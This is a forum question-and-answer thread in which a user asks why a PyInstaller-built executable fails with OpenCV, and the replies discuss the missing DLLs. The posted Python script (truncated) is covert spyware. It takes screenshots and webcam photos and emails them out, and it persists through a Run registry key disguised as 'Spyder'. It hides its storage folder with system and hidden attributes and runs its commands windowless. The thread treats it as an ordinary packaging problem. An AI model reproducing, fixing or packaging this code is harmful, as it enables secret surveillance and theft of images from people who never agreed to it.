Got fatal error running opencv program
I have written a python script that takes screenshot of the screen and takes picture from webcam and send it to my email address. For taking screenshot I have use pyautogui module and for taking webcam picture I have use cv2 module. After writing my program I compiled my script with pyinstaller and ran .exe file to my other machine where there is no python, pyinstaller, cv2 installed I got Fatal Error Failed to execute . I opened issue in pyinstaller but they told me that opencv is the culprit. They have also told me that I have not added file that opencv needs. But I don't know which files do OpenCv needs so that I can compile my script correctly.
Script
import os
import cv2
import time
import numpy
import scipy
import string
import random
import smtplib
import _winreg
import requests
import pyautogui
import subprocess
from email import Encoders
from email.MIMEBase import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
fromadd = '[email protected]'
toadd = '[email protected]'
password = 'password'
def is_at_startup():
areg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)
try:
akey = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Spyder.exe', 0, _winreg.KEY_WRITE)
areg.Close()
akey.Close()
except WindowsError:
key = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, _winreg.KEY_SET_VALUE)
_winreg.SetValueEx(key, 'Spyder', 0, _winreg.REG_SZ, 'C:\Program Files (x86)\Spyder\Spyder.exe')
areg.Close()
key.Close()
def naming():
global name
global clock
global webcam_name
global screenshot_name
name = ''
for i in range(20):
x = random.randint(0, 61)
name += string.printable[x]
clock = time.ctime().replace(':', '-')
screenshot_name = clock + ' _Screenshot_ ' + name + '.jpg'
webcam_name = clock + ' _Webcam_ ' + name + '.jpg'
def make_folder():
if os.path.exists(os.path.join('C:' + os.sep, 'root')) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')) and os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) and os.path.exists(os.path.join(r'C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)
if os.path.exists(os.path.join('C:' + os.sep, 'root')):
pass
if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
pass
if os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
pass
if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
pass
if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
pass
if not os.path.exists(os.path.join('C:' + os.sep, 'root')):
os.mkdir(os.path.join('C:' + os.sep, 'root'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
os.mkdir(os.path.join('C:' + os.sep, 'root ...
did you miss, that opencv is mainly a c++ library, and that all of the python functionality is in
python/lib/site-packages/cv2.pyd
?how did you install it ? (it may depend on further opencv dll's)
also, please put your code HERE, not on an external pastebin (it will be gone tomorrow)
I have installed opencv by pip install opencv-python. And I have edited my question with my code.